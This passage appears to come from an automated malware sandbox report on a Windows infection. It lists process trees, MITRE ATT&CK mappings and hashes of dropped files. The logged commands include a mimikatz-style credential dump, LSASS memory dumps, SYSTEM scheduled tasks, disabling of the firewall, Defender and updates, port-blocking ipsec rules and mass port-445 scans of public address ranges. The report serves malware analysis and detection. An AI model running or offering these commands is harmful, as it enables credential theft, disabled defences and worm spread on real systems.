    C:\Windows\bgysuulnn\sbbfgiqug\nimusahes.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\bgysuulnn\sbbfgiqug\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4300
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bgysuulnn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\bgysuulnn\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4580
- - C:\Windows\bgysuulnn\Corporate\vfshost.exe
    C:\Windows\bgysuulnn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bfyenbney" /ru system /tr "cmd /c C:\Windows\ime\ysyeeye.exe"
  2⤵
  PID:2880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bfyenbney" /ru system /tr "cmd /c C:\Windows\ime\ysyeeye.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "biyeettqg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F"
  2⤵
  PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "biyeettqg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "euhuyuiss" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F"
  2⤵
  PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "euhuyuiss" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3828
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4596
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2892
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4320
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1016
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:908
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3356
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3620
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2332
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4492
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:812
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:4232
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3760
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1236
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4344
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:744
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 792 C:\Windows\TEMP\bgysuulnn\792.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3576
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1116
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1068
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:3792
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:2892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2652
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3588
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:2120
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4588
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 380 C:\Windows\TEMP\bgysuulnn\380.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 2108 C:\Windows\TEMP\bgysuulnn\2108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1088
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 2644 C:\Windows\TEMP\bgysuulnn\2644.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5060
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 2768 C:\Windows\TEMP\bgysuulnn\2768.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 2860 C:\Windows\TEMP\bgysuulnn\2860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:452
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 2132 C:\Windows\TEMP\bgysuulnn\2132.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3740 C:\Windows\TEMP\bgysuulnn\3740.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3832 C:\Windows\TEMP\bgysuulnn\3832.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:412
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3896 C:\Windows\TEMP\bgysuulnn\3896.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3852
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3972 C:\Windows\TEMP\bgysuulnn\3972.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3248
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 1924 C:\Windows\TEMP\bgysuulnn\1924.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 4068 C:\Windows\TEMP\bgysuulnn\4068.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 4672 C:\Windows\TEMP\bgysuulnn\4672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3000 C:\Windows\TEMP\bgysuulnn\3000.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4112
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 3488 C:\Windows\TEMP\bgysuulnn\3488.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 4004 C:\Windows\TEMP\bgysuulnn\4004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe
  C:\Windows\TEMP\bgysuulnn\sbgiuuhde.exe -accepteula -mp 548 C:\Windows\TEMP\bgysuulnn\548.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\bgysuulnn\sbbfgiqug\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1716
- - C:\Windows\bgysuulnn\sbbfgiqug\rgiaeelul.exe
    rgiaeelul.exe TCP 181.215.0.1 181.215.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5232
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5564
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:648
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5676

C:\Windows\SysWOW64\varpws.exe
C:\Windows\SysWOW64\varpws.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4556

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F
1⤵
PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4856
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F
  2⤵
  PID:4876

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F
1⤵
PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2380
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F
  2⤵
  PID:4956

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ysyeeye.exe
1⤵
PID:2416
- C:\Windows\ime\ysyeeye.exe
  C:\Windows\ime\ysyeeye.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:520

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F
1⤵
PID:628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4540
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\siltueee\ysyeeye.exe /p everyone:F
  2⤵
  PID:5076

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F
1⤵
PID:3888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4112
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ldagsiybe\rniyyi.exe /p everyone:F
  2⤵
  PID:4372

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ysyeeye.exe
1⤵
PID:3096
- C:\Windows\ime\ysyeeye.exe
  C:\Windows\ime\ysyeeye.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bgysuulnn\1924.dmp

Filesize
25.8MB

MD5
2a4fcede7fd1101d1dc37ac8a59a03cc

SHA1
0db4d05a890b01e75a18dfaeefd154d7ae98d9a2

SHA256
971d4b04a1c5a4303a4b746c1d1547131c802daeb1e7445ccc7349e4fcab9355

SHA512
5007b2b37d1a0254a8e612472bff357219e0f26f5e8a4340ed75154a3cd8cddab8fae94b99bbe5599b6121d613724bc1a12f8c31110f89415f5479ecb5bbea6f

Download Submit
C:\Windows\TEMP\bgysuulnn\2108.dmp

Filesize
4.1MB

MD5
8b05f687217d6c702b729d07560e220f

SHA1
96f651d8934c29fe2ada8b165479852f2bc53b5e

SHA256
0f5e03c7c2271bbbf3e21961b8783c80f9cff2fd6d3ccb5679eb1f8cf552dc41

SHA512
f45eba217251e978d4337bc9348b0c24d3a0d5e2454120688fe85df8332eafa38171909f383ac1d2c8d800123365b1f5c9a288874744a6cf19e73f0e715314fb

Download Submit
C:\Windows\TEMP\bgysuulnn\2132.dmp

Filesize
814KB

MD5
61c7cd103a7310700c204daab19ed3e7

SHA1
42ea6a7b763a62886d3579e1418c4d99073e5292

SHA256
780ff03a566667e9db1dd016267825d28ebc12ad9b2da6b0cc8b307781e63666

SHA512
be596c8033f85977ea22969b52e012e42f3b982472158f79f50ba26751913937059b4be21bb39289e99d1a8cd53a37d574a3efaaca6d7f87972927bbce045a26

Download Submit
C:\Windows\TEMP\bgysuulnn\2644.dmp

Filesize
3.6MB

MD5
cd96a09a9ef561e85a39a0f975bdab32

SHA1
443f23633b5a1ac799f284a312b1d3a1db2970b9

SHA256
d905392f17ab275cf0f3c64cbb7799415d94ab0f1b170cc284116fde97da5818

SHA512
94487accf414af36d0019b552ab567a970e910c4406de740b162b262ab7fddf62f3ce903ebcf95a73de5574b99d0a72600c218e88dffb31e039ffe09415a05e1

Download Submit
C:\Windows\TEMP\bgysuulnn\2768.dmp

Filesize
7.6MB

MD5
cfa7de679701b5f8a544583aeea66536

SHA1
42eaef8988ce1d563582e4d806e3c151773f49be

SHA256
0423b00c613477d0fab60662badfcd77d25f06e89ebacb7832844304c07f61ff

SHA512
dc91e32c60a1642475e62a6bcea67e1a18db5a69a7c265687cc9f908e0095757bffdb1bc881aad445c4a0b8a03ec6af6155e13c310785e218df55f034a6b7c1d

Download Submit
C:\Windows\TEMP\bgysuulnn\2860.dmp

Filesize
3.0MB

MD5
c9600ca1276978dd39827569ab537b9e

SHA1
c1ea49405640b9d6e5f27c452e8435d8b36e8717

SHA256
bb203750948248045018e36fcb05ecdbc87200d0ae9dd9989072b8158261772a

SHA512
9247d8a97e51247fa8b9c91294eec5ea98f047dd90a0bbb98ae8ffad9ca13f81c8dad4c7dcc7131e8ce090e431769ad6dd8a6fb757442f33bbef62ef85358eb3

Download Submit
C:\Windows\TEMP\bgysuulnn\3740.dmp

Filesize
2.5MB

MD5
7f4fcc3c140ed5c9463826e38db0b666

SHA1
b6e321c3c8875680838ab858e419d20d4cbb1e54

SHA256
38fcf142f7bc1a67395344551793a82522ec7aa8228e1b6611b1ea1a19c8f308

SHA512
c90dbce4d6545c08083337a53c4e43294e321241cfb89f686821dc826dace6f6829aa6264f726d939091d703e749834e4370e9bdf03f6e328e1af7180d332aed

Download Submit
C:\Windows\TEMP\bgysuulnn\380.dmp

Filesize
33.7MB

MD5
5376ec9fb5bbbabfd0af3cdaee489033

SHA1
5f1e05d4afa0e873b57c874f1f45d03d4abea284

SHA256
e8fcefb6443ba91347e028946e66d442c7c2273b8e0d0d17b5ac7734ce379b06

SHA512
712c18a27d17c45cde17eeb35d3f1691106149095f64e1481c6992a66502d7079386c2854249fbe9cdbea0051277975eb17984a4c8248b51133cf4d9c929e25c

Download Submit
C:\Windows\TEMP\bgysuulnn\3832.dmp

Filesize
20.3MB

MD5
c130132f0c6ec23eb8dcad30090b6460

SHA1
1b51a3b89a7192c6d450380a46ac0004118c1c9a

SHA256
d5f56e8a7ff4c11a03e705e9fe34c6a440c0ee34220ccf073abd06e17fe4442f

SHA512
18316d0758651b534aef83847c3024b7a9255f277353a8a0ced0ec803c3d4c5ded96d71f1d072c1cc4f9f8ed8db5ddd57e990a567af4e0b989ec3f62134ae71a

Download Submit
C:\Windows\TEMP\bgysuulnn\3896.dmp

Filesize
4.2MB

MD5
f3ef7a6198e6462064633e1c991a910a

SHA1
d66c7e0b1c690c449a6d3772382a4c6f2be663a2

SHA256
90ada09039693254b7f5d3489229d00e531fe5691702c555eb909bf165a912ee

SHA512
98f14bf3ba8f27bc503a73672d634f73674ce538e83abc70017ee0215b02f28459bef4bdd21e65d95e6905c6d7254cd24a3ccd1af7a5e946771f3332985431ec

Download Submit
C:\Windows\TEMP\bgysuulnn\3972.dmp

Filesize
44.0MB

MD5
ca31f9340dade106569ebd18dce54084

SHA1
7a3a546d8720a1766b5f0d6260d863c31fecdb52

SHA256
cb9d90fdb741efdaa795df4c8075b358cdad70edbbc246dae6ff71a488d2a785

SHA512
1aa3b7f111d6d20064b49f3e842bde8fefeba82b50ac9b341e80596cf3e8cc6eb0c00c743aad52a688a754baf46998a638378d4fd42613a0214011e2d77baa47

Download Submit
C:\Windows\TEMP\bgysuulnn\4068.dmp

Filesize
1.2MB

MD5
12148382dbec27fba74c241760faecf4

SHA1
36818e483ec82922a16d05686d0a31104a34f2a7

SHA256
49731460227d95cd750a743abc484a87d9288375ff8ee97a11f2f6b33e6532b5

SHA512
ce0823ab9436f429c5aea1d21cd0af2fc14a2f3f94625c068754182778910b2897eaaca246bc8aaf6c09f50eb607bc12f7976171b20c7503409d778283ff4161

Download Submit
C:\Windows\TEMP\bgysuulnn\4672.dmp

Filesize
8.6MB

MD5
23bece2f47eb9e5b7cf4d210f8cbf3da

SHA1
6eba11d41f7b43fcd58823d9caf354df2817e235

SHA256
371bab5ba88c968d0e28dc76e480cc7433bf214cdda7d3d97d91d0a8d65591c6

SHA512
3c593681bd4c96a2d70c8a9f6a3fdfee46f0e92025d50ab2c6ff66e3754dc073410ad7da3a8a7ec423651a58519d9962548c321afb7bb5ac2b5e9b6f442efcc1

Download Submit
C:\Windows\TEMP\bgysuulnn\792.dmp

Filesize
1019KB

MD5
f1ca0b624aa6e0b7114ba44ba4f22a4d

SHA1
92703dc8024314d73bc8408199e18de6ed667bd8

SHA256
70725144e1a3f43ee52cd6009015c9b209defcc51005fa2e13b038da30605d35

SHA512
375f59e13b1d98e4988bdc3445db72a91036b25baff0cc37fc08e1d7e743f662e82d17dbd35646ec0f239333b7359dfe587c2080c631fd586e08d679f452d256

Download Submit
C:\Windows\TEMP\ldagsiybe\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\bgysuulnn\sbgiuuhde.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\ldagsiybe\rniyyi.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsy1B26.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
